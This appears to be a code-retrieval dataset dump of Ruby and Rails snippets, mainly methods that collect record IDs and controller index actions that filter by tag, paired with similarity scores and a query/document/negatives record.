"def get_identifiers\n identifiers = publication_identifiers.map{|pi| pi.identifier_value}\n identifiers.push(self.isbn) unless !self.isbn\n identifiers.push(self.issn) unless !self.issn\n identifiers.push(self.eissn) unless !self.eissn\n identifiers.push(self.article_number) unless !self.article_number\n return identifiers\n end",
"def commonsubject_lecturer_programmeid_list\n unit = Login.current_login.staff.position.unit\n current_lecturer = Login.current_login.staff.id\n common_subjects = [\"Sains Perubatan Asas\", \"Anatomi & Fisiologi\", \"Sains Tingkahlaku\", \"Komunikasi & Sains Pengurusan\"]\n is_common_lecturer = Position.find(:all, :conditions=>['unit IN(?) and staff_id=?', common_subjects, current_lecturer])\n if is_common_lecturer.count>0\n return Programme.roots.map(&:id) #shall return this [1, 3, 4, 5, 14, 13, 2, 67, 12, 6, 7, 9, 11, 10, 185, 1697, 1707, 1709, 8]\n else\n return []\n end\n end",
"def acc_ids\n\t self.accounts.pluck(:id)\n\tend",
"def ids\n (1..get_item_count).map do |index|\n get_item_identifier index\n end\n end",
"def identifiers(filter = Set.new)\n list(filter).entities.map { |ent| ent['occi.core.id'] }\n end",
"def prereq_ids\n return [] unless scoped_course\n scoped_course.prereq_ids\n end",
"def identities\n User.where(:provider => provider, :uid => uid)\n end",
"def identifiers\n return [] if __getobj__.blank?\n\n __getobj__.identifier if __getobj__.respond_to?(:identifier)\n end",
"def identifiers(ident, prefix='')\n identify(ident).map{|sym| \"#{prefix}#{sym}\"}\n end",
"def fetch_symids\n doc = exec_doc('syminq -sym -symmids -wwn')\n symids = []\n doc.elements.each('SymCLI_ML/Inquiry/symid') do |ele|\n symids << ele.text\n end\n puts symids.uniq!\n end",
"def ids(things)\n things.map(&:id).join(\",\")\n end",
"def extract_ids\n # no-op\n end",
"def find_selected\n selected_quests = self.user_quests.where(complete: false)\n selected_quests.map do |x|\n x.quest_id\n end\n end",
"def identifier_uris\n return @identifier_uris\n end",
"def identifiers\n request[:ids]\n end",
"def diagnosis_name_list\n\t\t@diagnose = devise_current_user.diagnose.to_a.uniq {|diagnosis| diagnosis.name}\n\tend",
"def list_ids\n @documents.keys\n end",
"def directs\n alias_ids.map(&:e).map(&:company).map(&:id)\n end",
"def reading_incidence_type_ids\n reading_incidences.pluck(:reading_incidence_type_id)\n end",
"def non_autocomplete_fields\n\t\t\t\t[\"ID\"]\n\t\t\tend",
"def identities\n results = @ordered.keys.sort\n return results\n end",
"def stringy_taxon_concept_ids\n taxon_concept_ids.join(',')\n end",
"def stringy_taxon_concept_ids\n taxon_concept_ids.join(',')\n end",
"def active_glm_id_list\n self.active_group_loan_memberships.map{|x| x.id }\n end",
"def id_types\n identifiers.map(&:type).uniq\n end",
"def duplicants_fieldlet_ids\n\t\t\tself.duplicant_field::FIELDLET_IDS\n\t\tend",
"def account_ids()\n return [1, 2]\n end",
"def uids\n return [] unless valid?\n\n queries.search(name_query).merged_uids\n end",
"def lawyer_details(notes)\n @allowed_ids=[]\n lawyer = Employee.find_by_user_id(notes.assigned_by_employee_user_id, :include => [:company => :employees])\n lawyer.company.employees.each do |employee|\n @allowed_ids << employee.user_id\n end\n end",
"def editable_location_ids\n return Location.all if is_super_admin?\n if self.region\n res = []\n region.locations.each do |lok|\n res += [lok.id.to_s] + lok.locations.map{|l| l.id.to_s}\n end\n res\n elsif self.location\n [location.id.to_s] + self.location.locations.map{|l|l.id.to_s}\n else\n []\n end\n end",
"def ministry_list\n root_ministry.descendants.pluck(:id)\n end",
"def find_patient_identifiers(patient)\n ['National ID', 'ARV Number'].map do |identifier_type_name|\n type = PatientIdentifierType.where(name: identifier_type_name)\n identifier = PatientIdentifier.find_by(patient: patient, type: type)\n\n identifier&.identifier\n end\nend",
"def person_ids\n persons = Person.find_all_from_identifier(source: 'xkonto', identifier: username)\n return nil if persons.blank?\n return persons.map(&:id)\n end",
"def richtext_contents_ids\n descendent_contents\n .where(Element.table_name => {folded: false})\n .essence_richtexts\n .pluck(\"#{Content.table_name}.id\")\n end",
"def ordered_ids\n Array(solr_document[\"member_ids_ssim\"])\n end",
"def item_list\n list = Array.new;\n\n if @inv.respond_to?(\"each\")\n @inv.each do |invItem|\n list.push(invItem.first_id)\n end\n end\n \n return list.join(\", \");\n end",
"def ids\n @ids ||= []\n end",
"def getActiveQuests\n active = []\n $PokemonGlobal.quests.active_quests.each do |s|\n active.push(s.id)\n end\n return active\nend",
"def ids\n pluck(:id)\n end",
"def article_ids\n query('SELECT Id FROM KnowledgeArticle').map(&:Id)\n end",
"def ids\n root.ids\n end",
"def rights_statement\n authority = Qa::Authorities::Local.subauthority_for('rights_statements')\n rights_statement = map_field(:rights_statement).to_a.map do |label|\n label = { 'pd' => 'public domain' }[label] || label # these values need to be mapped\n term = authority.all.find { |h| h[:label] == label }\n term.blank? ? label : term[:id]\n end\n rights_statement << authority.all.find { |h| h[:label] == 'unknown' }[:id] if rights_statement.empty?\n rights_statement\n end",
"def issuedby_details\n exist = StationeryUse.find(:all,:conditions=>['issuedby=?', issuedby]).count\n a='id=? ' if StationeryUse.find(:all,:conditions=>['issuedby=?', issuedby]).map(&:stationery_id).uniq.count!=0\n 0.upto(StationeryUse.find(:all,:conditions=>['issuedby=?', issuedby]).map(&:stationery_id).uniq.count-2) do |l| \n a=a+'OR id=? '\n end \n return a if exist > 0 && issuedby.blank? == false\n end",
"def ids; @docs.keys end",
"def all_ids\n @all_ids ||= @ids_fenotypes.keys\n @all_ids\n end",
"def lectures\n Lecture.where(id: Lecture.all.select { |l| in_lecture?(l) }.map(&:id))\n end",
"def lifters\n # binding.pry\n memberships.map { |membership| membership.lifter }.uniq\n end",
"def identifier_list(*ids, **opt)\n cid = current_id.presence\n ids = params.values_at(*id_param_keys) if ids.blank?\n super(ids, **opt).tap do |result|\n result.map! { |v| CURRENT_ID.casecmp?(v) ? cid : v } if cid\n end\n end",
"def omim_ids\n @table.keys\n end",
"def ids\n @nodes.map(&:id)\n end",
"def get_ids(table)\r\n valid_ids = []\r\n table_info = @db.execute(\"SELECT * FROM #{table}\")\r\n table_info.each do |line|\r\n line_info = []\r\n line.each do |name, value|\r\n if name == 'id'\r\n valid_ids << value\r\n end\r\n end\r\n end\r\n valid_ids\r\n end",
"def subject_ids\n self.get_civet_outputs.map(&:dsid)\n end",
"def parse_taxon_ids_list full_document\n full_document.gsub(/%tl\\[(.*?)\\]/) do\n ids_string = $1\n ids = ids_string.gsub(\" \", \"\").split(\",\")\n\n ids.map do |id|\n try_linking_taxon_id id\n end.join(\", \")\n end\n end",
"def get_active_recipe_ids\n users_recipes.find_all {|ur| ur.active}.map {|ur| ur.recipe_id}\n end",
"def reviewer_list\n\n reviewers = []\n design_review_results =\n DesignReviewResult.find_all_by_design_review_id(self.id)\n\n design_review_results.each do |dr_result|\n reviewer = User.find(dr_result.reviewer_id)\n reviewers << reviewer.email if reviewer.active?\n end\n \n return reviewers.uniq\n\n end",
"def items_list\n return self.donor_items.map{|it| \" #{it.item.andand.item_code} (#{it.number_donated}) \"}.join(\"/\")\n end",
"def filter_node_is_qan(search, qid)\n assignment = Assignment.find_by(name: search)\n if assignment\n assignment_questionnaires = AssignmentQuestionnaire.where(assignment_id: assignment.id)\n if assignment_questionnaires\n assignment_questionnaires.each {|q| qid << \"#{q.questionnaire_id}+\" }\n session[:root] = 1\n end\n end\n qid\n end",
"def search_for_ncbi_ids\n esearch = Entrez.ESearch(ncbi_database_name, @search_terms)\n # TODO: doesn't Entrez have a sorting option?\n # Uniq the array. Sometimes ESearch uselessly returns more than 1 id.\n @ids = esearch.ids.uniq.sort\n end",
"def superfamily_ids\n superfamily_ids_set.to_a\n end",
"def richtext_contents_ids\n contents.essence_richtexts.pluck('alchemy_contents.id')\n end",
"def involved_people_ids\n (\n [self.scrum_master_id.to_s, self.product_owner_id.to_s] + self.team_member_ids + self.stakeholder_ids\n ).select {|u_id| !u_id.blank?}\n end",
"def taken_menu_items\n menu_items.map {|menu_item| menu_item.id if menu_item.dish_assignment}.compact\n end",
"def questions\n questions = Pairwise::Question.find(:all, :params => {:creator => @local_identifier})\n questions.select {|q| q if q.local_identifier == @local_identifier.to_s }\n end",
"def reviewer_list\n\n reviewers = []\n design_review_results =\n DesignReviewResult.find_all_by_design_review_id(self.id)\n\n design_review_results.each do |dr_result|\n reviewer = User.find(dr_result.reviewer_id)\n reviewers << reviewer.email if reviewer.active?\n end\n\n return reviewers.uniq\n\n end",
"def directors_ids\n directors_ids = []\n directors_name.each_with_index do |director, index|\n directors_ids << document[\"castMember\"][index][\"person\"][\"code\"] if director == document[\"castMember\"][index][\"person\"][\"name\"]\n end\n directors_ids\n end",
"def get_char_ids\n char_ids = []\n self.characters.each{|char| char_ids << char.id if char}\n char_ids\n end",
"def course_id_details\n a='id=? ' if Student.find(:all,:conditions=>['course_id=?',course_id]).map(&:id).uniq.count!=0\n 0.upto(Student.find(:all,:conditions=>['course_id=?',course_id]).map(&:id).uniq.count-2) do |l| \n a=a+'OR id=? '\n end \n return a unless course_id.blank?\n end",
"def work_entry_other_ids(field)\n case field.tag\n when /(760|762|765|767|770|772|773|774|775|777|780|785|786|787)/\n field.subfields.select { |sf| work_entry_other_id_subfields(field).include?(sf.code) }\n .map { |sf| remove_parenthetical_id_prefix_from_sf_w(sf) }\n end\n end",
"def student_ids\n ids = []\n scores_table = frm.table(:id=>\"editTotalResults:totalScoreTable\").to_a\n scores_table.delete_at(0)\n scores_table.each { |row| ids << row[1] }\n return ids\n end",
"def tsu_ids\n dwelling_units.map(&:tsu_id).compact.uniq\n end",
"def technos\n object.technos.map { |t| t.id }\n end",
"def alias_ids\n investments.map(&:entity_id)\n end",
"def identifiers\n {'issn' => @issn, 'eissn' => @eissn, 'isbn' => @isbn, 'eisbn' => @eisbn, 'oclc' => @oclc, 'lccn' => @lccn, 'doi' => @doi,\n 'svc_specific_id_1' => @svc_specific_id_1, 'svc_specific_id_2' => @svc_specific_id_2, 'svc_specific_id_3' => @svc_specific_id_3}\n end",
"def contact_ids\n (object.added_contacts + object.mutual_contacts).map{|ct| ct.slug }\n end",
"def ssu_ids\n dwelling_units.map(&:ssu_id).compact.uniq\n end",
"def get_ids(array)\n ids = \"(\"\n array.each do |me|\n ids << me.id.to_s + \",\"\n end\n ids = ids.chomp(\",\")\n ids = ids + \")\"\n return ids\n\n end",
"def display_source_identifiers # :yields: String identifying the lot or specimen the extract came from\n specimen_id && (return Specimen.find(specimen_id).display_name(:type => :identifiers))\n return Lot.find(lot_id).display_name(:type => :identifiers)\n end",
"def equipment_names\n equipment = self.quote.project.company.equipment\n list = equipment.collect! {|x| x.name}\n# list.join()\n end",
"def recording_depositor_ids\n param_role_extractor(:recording_contributors, :depositors)\n end",
"def inspect\n jids = to_a.collect { |item| item.jid.inspect }\n jids.join(', ')\n end",
"def participant_ids\n self.report_participant_relationships.collect { |r| r.participant_id }.uniq\n end",
"def object_taxon_name_ids\n return taxon_name_id if !taxon_name_id.empty?\n return object_taxon_name_id if !object_taxon_name_id.empty?\n return []\n end",
"def get_record_identifiers(doc, options)\n doc_name = build_doc_name(doc)\n aug_rec = options['task'].augmented_patients.detect { |r| doc_name == to_doc_name(r[:first][1], r[:last][1]) }\n mrn = @names[doc_name] || aug_rec&.original_patient_id\n [mrn || nil, doc_name, aug_rec, parse_telecoms(doc)]\n end",
"def report_list_uids\r\n post = { \"token\" => @token }\r\n docxml = nessus_request('report/list', post)\r\n uuids = Array.new\r\n docxml.root.elements['contents'].elements['reports'].each_element('//report') do |report| \r\n uuids.push(report.elements['name'].text)\r\n end\r\n return uuids\r\n end",
"def field_ids\n @fields.keys\n end",
"def unit_idlers\n world.units.active.find_all { |u|\n unit_isidler(u)\n }\n end",
"def my_questions\n self.questions.map(&:id)\n end",
"def ro_facility_ids\n cities\n .select(&:facility_id?)\n .map(&:facility_id)\n .uniq\n .sort\n end",
"def oids\n\t\treturn @storage.keys\n\tend",
"def ids\n @ids ||= begin\n ioctl(EVIOCGID, buf = '\\x00' * 8)\n buf.unpack('S!4')\n end\n end",
"def alternative_ids\n return @alternative_ids if @alternative_ids\n\n res = {}\n self.class.alternative_id_fields(access_by: current_user).each { |f| res[f] = alternative_id_value(f) }\n @alternative_ids = res\n end",
"def unauthenticated_declarations_ids\n unauthenticated_declarations.each_index.select { |i| @unauthenticated_declarations[i].checked == 'Y' }\n end"
] | [
"0.6311634",
"0.6220099",
"0.6102618",
"0.59303236",
"0.592945",
"0.5901439",
"0.5884832",
"0.5879168",
"0.5840084",
"0.57775617",
"0.57571286",
"0.5750564",
"0.5746206",
"0.56794184",
"0.5665262",
"0.5663401",
"0.56351745",
"0.56289357",
"0.56283665",
"0.56073993",
"0.56063884",
"0.5605119",
"0.5603599",
"0.5599104",
"0.55928546",
"0.55784106",
"0.55761236",
"0.5530656",
"0.55250263",
"0.5520059",
"0.5520059",
"0.551569",
"0.5489952",
"0.5488051",
"0.5485542",
"0.54592663",
"0.54562026",
"0.5454435",
"0.54538834",
"0.5451493",
"0.5448746",
"0.5445504",
"0.5442134",
"0.54387116",
"0.5436938",
"0.5434953",
"0.54315126",
"0.5430849",
"0.54167897",
"0.54153275",
"0.5410486",
"0.54087424",
"0.5406363",
"0.5403967",
"0.5401019",
"0.5372808",
"0.5371875",
"0.5365517",
"0.5365037",
"0.5354683",
"0.5351937",
"0.5336002",
"0.53298485",
"0.53296906",
"0.5311196",
"0.531022",
"0.53020185",
"0.5300573",
"0.52978253",
"0.5295935",
"0.52880037",
"0.52814764",
"0.52716637",
"0.526079",
"0.5260344",
"0.5258088",
"0.5252986",
"0.5251529",
"0.5247874",
"0.52474266",
"0.5246725",
"0.5239571",
"0.52370316",
"0.5234153",
"0.5228611",
"0.5226617",
"0.5224725",
"0.5222801",
"0.521829",
"0.5217013",
"0.5212146",
"0.5200644",
"0.519859",
"0.51959604",
"0.51940155",
"0.5192239",
"0.51889074",
"0.51864654",
"0.5172423",
"0.5169694"
] | 0.6084776 | 3 |
def index if params[:tag] | def new
@question = Question.new
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tag_param\n if request.params[\"tag\"].present?\n text = \"Searching by tag: #{request.params[\"tag\"].titleize}\" \n link_to text, \"\", :class => \"label label-important\"\n elsif request.params[\"search\"].present?\n text = \"Searching for: #{request.params[\"search\"].titleize}\" \n link_to text, \"\", :class => \"label label-important\"\n end\n end",
"def index\n if params[:tag]\n begin\n @products = Tag.find(params[:tag]).products\n rescue ActiveRecord::RecordNotFound\n redirect_to root_url, warning: \"Le tag #{params[:tag]} n'existe pas !\"\n end\n else\n @products = Product.all\n end\n end",
"def index\n if params[:tag].present? \n @stipes = Stipe.tagged_with(params[:tag])\nelse\n@stipes = Stipe.all.order(\"created_at DESC\")\nend\nend",
"def index\n if params[:tag]\n @movies = Movie.tagged_with(params[:tag])\n else\n @movies = Movie.all\n end\n end",
"def index # This is what we'll need if we want our url/tags page to exist\n @tags = Tag.all\n end",
"def index \n if params[:tag]\n @posts = Post.tagged_with(params[:tag])\n else\n @posts = Post.all.paginate(page: params[:page], per_page: 20)\n end\n end",
"def tag\n # Whats the last tag we are asking for? (the rest don't matter I don't think..)\n requested_tag = params[:tag].split(\"/\").last\n tag = Taxonomy.find_by_seo_url requested_tag\n\n if tag.present?\n @tag = tag\n @posts = get_posts tag.posts\n\n\n respond_to do |format|\n format.html { render :template => 'default/index' }\n format.json { render json: @posts }\n end\n else\n # No such category found, redirect to root index\n redirect_to root_path\n end\n end",
"def index\n @mytags = Mytag.all\n @tags = Tag.all\n\n cate = params[:cate]\n\n if !cate.nil?\n @accounts = Account.where(:mytag_id => cate)\n else\n # tage_cond\n if params[:tag]\n @accounts = Account.tagged_with(params[:tag])\n else\n @accounts = Account.all\n end\n end\n\n\n end",
"def index\n if params[:tag]\n @articles = Article.tagged_with(params[:tag], on: 'tags')\n elsif params[:category]\n @articles = Article.tagged_with(params[:category], on: 'categories')\n else\n @articles = Article.all\n end\n end",
"def index\n search = params[:search]\n search ||= \"\"\n @tags = Tag.tagSearch(params[:page],search.strip,params[:order])\n @order = params[:order]\n @order ||= \"ASC\"\n end",
"def index\n if params[:tag]\n @posts = Post.tagged_with(params[:tag])\n else\n @posts = Post.order(\"created_at desc\")\n end\n @posts = @posts.page params[:page]\n\nend",
"def index\n @contents = if (@tag = params[:tag].to_s.strip).present?\n Content.by_tag(@tag)\n else\n Content.all\n end\n end",
"def index\n if params[:tag_id]\n @events = Event.find(:all,:conditions => [\"tags like ?\",\"%#{params[:tag_id]}%\"],:order=>'created_at DESC')\n else\n @events = Event.find(:all,:order=>'created_at DESC')\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @events }\n end\n end",
"def index\n authorize Tag\n @tags = Tag.order(name: :asc).page params[:page]\n end",
"def index\n #Dotenv.overload\n #カテゴリ取得\n @search_tag = params[:tag]\n #raise @search_tag.inspect\n #ページ取得\n current_page_num = params[:page]\n if !current_page_num then\n current_page_num = 1\n end\n row_per_page = 20\n skip_cnt = row_per_page * (current_page_num.to_i - 1)\n @current_page_num = current_page_num\n\n if !@search_tag then\n @todays_articles = Article.getTodaysArticles(skip_cnt,row_per_page);\n else\n @todays_articles = Article.getTodaysArticlesByTag(@search_tag,skip_cnt,row_per_page);\n end\n @title = title;\n end",
"def index\n if params[:tag]\n @booksie_page = BooksiePage.find(params[:booksie_page_id])\n @photos = @booksie_page.photos.tagged_with(params[:tag])\n @videos = @booksie_page.videos.tagged_with(params[:tag])\n @milestones = @booksie_page.milestones.tagged_with(params[:tag])\n @video = Video.new\n @milestone = Milestone.new\n else\n @photos = Photo.all\n @comment = Comment.new\n end\n\n end",
"def tag_params\n params[:tag]\n end",
"def index\n @tag = Tag.all\n end",
"def index\n @tags = Tag.all\n render :index, status: 200\n end",
"def index\n #Simpleforms doesnt like playing with searching...\n if(params[:search])\n @term = params[:search].first[1]\n @tags = Tag.search(@term)\n @search = true\n else\n @tags = Tag.all\n @search = false\n end\n @tags = @tags.paginate(:page => params[:page], :per_page => 10)\n end",
"def index\n #@tags = Tag.all\n end",
"def index # p \"TagsController.index: params=#{params.inspect}\"\n # p \"params['example_id']=#{params['example_id']}, params[:example_id]=#{params[:example_id]}\"\n if (params[:example_id])\n @tags = Tag.where(\"example_id=?\", params[:example_id])\n else\n @tags = Tag.all\n end\n\n p \"@tags=#{@tags.inspect}\"\n\n respond_to do |format|\n format.html {}\n format.json {render :json => @tags }\n end\n end",
"def index\n # byebug\n if params[:tag]\n @tag=Tag.find_or_initialize_by(name: params[:tag])\n @questions=@tag.questions.all.order('updated_at DESC')\n \n else\n @questions = Question.all # Model.all is a method built into active record used to return all records of that model\n # respond_to is a method that allows us to specify a response for a given type of request\n # we can use the curl shell command to send requests\n # curl http://localhost:3000/questions - will send a GET to the url\n # curl -H \"Accept: application/json\" http://localhost:3000/questions\n # will send a GET request with some information on the header that tells the server this request wants JSON data.\n respond_to do |format|\n format.html { render } # if the request is asking for html respond with our html template\n format.json { render json: @questions } # if the request is asking for JSON respond with json that looks like @questions\n end\n end\n \n end",
"def index\n if params[:tag]\n @events = Event.tagged_with(params[:tag])\n else\n @events = Event.all\n end\n end",
"def index_by_tag\n entries = Entry.all\n @selected_entries = Array.new\n entries.each do |entry|\n if entry.tags.include? params[:tag]\n @selected_entries << entry\n end\n end\n @selected_tag = params[:tag]\n end",
"def tag_params\n params[:tag]\n end",
"def index\n if params[:active_tag]\n @activeTag = params[:active_tag].to_i\n else\n @activeTag = 0\n end\n if params[:active_task]\n @task = Task.find(params[:active_task])\n end\n @tasks = current_user.tasks(@activeTag)\n @tags = current_user.tags\n end",
"def index\n @tags = Tag.all#.search(params[:query])\n end",
"def list_by_tags\n\t\t@tags = Tag.find_alpha\n\n @list_options = Tag.find_alpha\n\n if params[:key] then\n @viewing_by = params[:key]\n elsif session[:last_product_list_view] then\n @viewing_by = session[:last_product_list_view]\n else\n @viewing_by = @list_options[0].id\n end\n\n @tag = Tag.find(:first, :conditions => [\"id=?\", @viewing_by])\n if @tag == nil then\n\t\t\tredirect_to :action => 'list'\n\t\t\treturn\n end\n\n @title = \"Product List For Tag - '#{@tag.name}'\"\n\n conditions = nil\n\n session[:last_product_list_view] = @viewing_by\n\n\n @products = @tag.products\n render :action => 'list'\n end",
"def filtered_by_tag?(tag)\n tags_from_params.include?(tag.name)\n end",
"def index\n if params[:tag]\n @prayers = Prayer.tagged_with(params[:tag])\n else\n @prayers = Prayer.paginate(page: params[:page]) \n end\n end",
"def show \n @tag = Tag.find params[:id]\n @posts = Post.search_by_tag_id(params[:id], params[:page])\n end",
"def index\n if params[:tag] == nil\n @photos = Photo.where('user_id=?',session[:user_id]).latest.paginate(:page=>params[:page], :per_page=>10)\n else\n @photos = Photo.tagged_with(params[:tag]).where('user_id=?',session[:user_id]).latest.paginate(:page=>params[:page],:per_page=>10)\n end\n @tags = Photo.tag_counts_on(:tags)\n @tag_name=params[:tag]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos }\n end\n end",
"def index\n if params[:tag]\n @accounts = Account.tagged_with(params[:tag])\n else\n @accounts = Account.all\n end\n end",
"def index\n if tag_name = params[:tagname]\n @items = Item.find_tagged_with(tag_name, current_user).sort\n @page_header = \"Listing items with tag: \" + tag_name\n else\n @items = current_user.items.order(\"number\")\n @page_header = \"Listing all items\"\n end \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end \n end",
"def index\n case\n when params[:tag]\n @books = Book.tagged_with(params[:tag], :on => :tags, :any => true)\n when params[:author]\n @books = Book.tagged_with(params[:author], :on => :authors, :any => true)\n when params[:translator]\n @books = Book.tagged_with(params[:translator], :on => :translators, :any => true)\n else\n @books = Book.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end",
"def show\n @tag_name = params[:id]\n @tag = Tag.find_by_name(@tag_name)\n if @tag\n # this is a hack and should be replaced with custom SQL queries\n @taggings = @tag.taggings.by_type('Post')\n @news_taggings = @taggings.select {|tagging| tagging.taggable.news? }\n @gossip_taggings = @taggings.select {|tagging| tagging.taggable.gossip? }\n @question_taggings = @taggings.select {|tagging| tagging.taggable.question? }\n end\n end",
"def index\n if params[:tag]\n @tag = Tag.find_or_initialize_by(name: params[:tag])\n @questions = @tag.questions.all.order('updated_at DESC')\n else\n #@questions = Question.all.all_with_answer_counts.order('updated_at DESC')\n #above method is used if you only want to display questions that have answers associated\n @questions = Question.all.order(created_at: :desc) #Model.all is a method built into active record used to return all records of that model \n end\n end",
"def index\n @tags = Tag.all\nend",
"def index\n\n if params[:tag]\n @posts = Post.tagged_with(params[:tag])\nelsif params[:category]\n @category_id = Category.find_by(name: params[:category]).id\n @posts = Post.where(category_id: @category_id).order(\"created_at DESC\")\nelsif params[:subcategory]\n @subcategory_id = Subcategory.find_by(name: params[:subcategory]).id\n @posts = Post.where(subcategory_id: @subcategory_id).order(\"created_at DESC\")\nelse\n @posts = Post.all.order(\"created_at DESC\")\nend\n\n\n @posts = @posts.page params[:page]\nend",
"def index\n @page_title = \"Posts\"\n # if params[:tag]\n # @posts = Post.order(created_at: :desc).tagged_with(params[:tag]).paginate(:page => params[:page], :per_page => 3)\n # @firstLetter = ActsAsTaggableOn::Tag.all.order(\"name\").group_by{|letter| letter.name[0]}\n # @tags = ActsAsTaggableOn::Tagging.limit(8).includes(:tag).where(context: 'tags').map { |tagging| tagging.tag.name }.uniq\n # else\n # @posts = Post.order(created_at: :desc).paginate(:page => params[:page], :per_page => 6)\n # end\n @posts = Post.order(created_at: :desc).paginate(:page => params[:page], :per_page => 6)\n @posts_with_tag = Post.order(created_at: :desc).tagged_with(params[:tag]).paginate(:page => params[:page], :per_page => 3)\n respond_to do |format|\n format.html {}\n format.js {}\n end\n end",
"def index\n @tags = Tag.all\n end",
"def index\n @tags = Tag.all\n end",
"def index\n @tags = Tag.all\n end",
"def index\n @tags = Tag.all\n end",
"def index\n @tags = Tag.all\n end",
"def index\n @tags = Tag.all\n end",
"def index\n @tags = Tag.all\n end",
"def index\n if params[:event_id] && Event.where(id: params[:event_id]).count > 0\n @event = Event.find(params[:event_id])\n @documents = @event.documents\n @descriptor = @event.name\n elsif params[:tag]\n @documents = Document.with_event.tagged_with(params[:tag])\n @descriptor = params[:tag]\n else\n @documents = Document.with_event\n @descriptor = \"All\"\n # @tags = tag_cloud\n end\n end",
"def index\n\t\t@tags = Tag.all\n end",
"def show_tag\n\t\t@tag = Tag.where(:id => params[:tag_id]).first\n\t\t@assets = @tag.assets.paginate :page => params[:page], :order => 'created_at asc', :per_page => 5\n\tend",
"def tag\n try_opt(:tag)\n end",
"def tag\n end",
"def tag\n end",
"def show_tag_activities\n @tag=params[:id] \n @activities=Activity.find(:all,:conditions=>[\"cached_tag_list = '#{@tag}'\"]) \n render :action=>:showtags\n end",
"def index\n if params[:tag]\n @listings = current_user.listings.tagged_with(params[:tag])\n else\n @listings = current_user.listings.all\n end\n end",
"def index\n if params[:tag]\n @posts = Post.tagged_with(params[:tag]).includes(:tags)\n elsif params[:category]\n @posts = Post.includes(:tags).where(category: params[:category])\n else\n #@posts = Post.all\n @posts = Post.includes(:tags)\n end\n respond_with @posts, methods: [:tag_list, :tag_ary]\n end",
"def index\n @mytags = Mytag.all\n end",
"def index\n @range = params[:q][:range_selector_cont] if params[:q]\n params[:q] = Tagging.fix_params(params[:q]) if params[:q]\n @q = Tagging.page(params[:page]).search(params[:q])\n @taggings = @q.result\n if params[:q].present? && params[:q][:tag_tag_group_id_eq].present?\n @tags = TagGroup.where(id: params[:q][:tag_tag_group_id_eq]).first.tags\n @form = SimpleForm::FormBuilder.new(:q, @q, view_context, {}, proc{})\n end\n @search_params = params[:q] if params[:q].present? && params[:q][:tag_tag_group_id_eq].present?\n end",
"def tag_search\n if params[:search].blank? \n @images = Image.all()\n render 'images/index'\n else\n @images = Image.all()\n tag_array = Array.new\n tags = params[:search]\n\n tag_array = tags.delete_suffix(',').split(',')\n @search_results = helpers.find_images(tag_array)\n \n render 'images/searchResults'\n end\n end",
"def index\n if params[:tag]\n @autoarts = Autoart.tagged_with(params[:tag])\n else \n @autoarts = Autoart.all.order(\"created_at DESC\")\n end\n end",
"def any_tag_in_params?\n params[:t] != nil\n end",
"def index\n if params[:tag]\n @tag = ActsAsTaggableOn::Tag.find_by(name: params[:tag])\n @business_profiles = BusinessProfile.tagged_with(params[:tag])\n else\n @business_profiles = BusinessProfile.all\n end\n end",
"def index\n @tags = Tag.all\n end",
"def index\n #if we search throught questions by tags, for example:\n # localhost:3000/questions?tag=Action \n if params[:tag]\n @tag = Tag.find_or_initialize_by(name: params[:tag])\n @questions = @tag.questions.all.all_with_answer_counts.order('updated_at DESC')\n # curl -H \"Accept: application/json\" http://localhost:3000/questions\n respond_to do |format|\n format.html { render }\n format.json { render json: @questions }\n end\n else\n @questions = Question.all.all_with_answer_counts.order('updated_at DESC')\n respond_to do |format|\n format.html { render }\n format.json { render json: @questions }\n end\n end\n end",
"def index\n @primary_tags = get_primary_tags\n\n @desires, @total_chapters = get_desires( params[:tag], params[:page], params[:chapter])\n session[:current_desires_chapter] = params[:chapter]\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def apply_tag_filter\n return if params[:tag].blank?\n params[:tag].tap do |tag|\n @posts = @posts.tagged_with tag\n add_breadcrumb \"by tag \\\"#{tag}\\\"\"\n end\n end",
"def index\n @projects = if params[:tag]\n Project.tagged_with(params[:tag])\n else\n Project.all\n end\n end",
"def tag(tag); end",
"def tag(tag); end",
"def show\n @tag = Post.find_by_name(params[:id])\n end",
"def index\n if params[:tag]\n @posts = Post.tagged_with(params[:tag])\n elsif params[:search]\n @posts = Post.search(params[:search])\n else\n @posts = Post.all.newest\n end\n end",
"def show\n @tag = Tag.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tags }\n end\n end",
"def show\n @tag = Tag.find(params[:id])\n if @tag.nil?\n render status: 404, nothing: true and return\n end\n end",
"def index\n @tags = Tag.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tags }\n end\n end",
"def tag\n require_admin_permissions\n @model = 'tag'\n @key = 'tag'\n @values = Tag.all.pluck(:tag)\n render 'tags'\n end",
"def search\n if params[:tag]\n @pictures = Picture.tagged_with(params[:tag])\n elsif params[:search] \n @pictures = Picture.tagged_with(params[:search])\n else \n redirect_to albums_path and return\n end\n render \"index\"\n end",
"def show\n @tag = Tag.find_by_name(params[:id]) || raise_404\n redirect_to tag_path(@tag.redirect_tag_name) if @tag.redirect_tag_id\n @taggings = @tag.taggings.order(:karma).reverse_order.paginate(:page => params[:page], :per_page => 25)\n end",
"def posts_for_tag\n if params[:page]\n begin\n page = Integer(params[:page], 10)\n rescue\n return render_404\n end\n else\n page = 1\n end\n @tag_name = params[:tag] || \"home\"\n if @tag_name == \"home\" && page == 1\n @is_root = true\n end\n return render_posts_for_tag(@tag_name, page)\n end",
"def index\n @questions = Question.preload(:user, :post).order('created_at DESC').page(params[:page]).per(10)\n\n @questions = @questions.tagged_with(params[:tag]) if params[:tag]\n end",
"def index\n if params[:tag]\n @adverts = Advert.tagged_with(params[:tag]).paginate(page: params[:page], per_page: 3)\n elsif params[:query]\n @adverts = Advert.custom_search(params[:query]).page(params[:page]).per_page(3)\n else\n @adverts = Advert.paginate(page: params[:page], per_page: 3)\n end\n end",
"def index\n @notes = Note.paginate(:page => params[:page], per_page: APP_CONFIG[\"pagenate_count\"][\"notes\"]).order('id DESC')\n if params[:tag].present?\n @notes = @notes.where(\"notes.tag LIKE ? \", \"%#{params[:tag]}%\") \n end\n @notes.all\n end",
"def index\n @thetags = Thetag.all\n end",
"def show\n authorize @tag\n end",
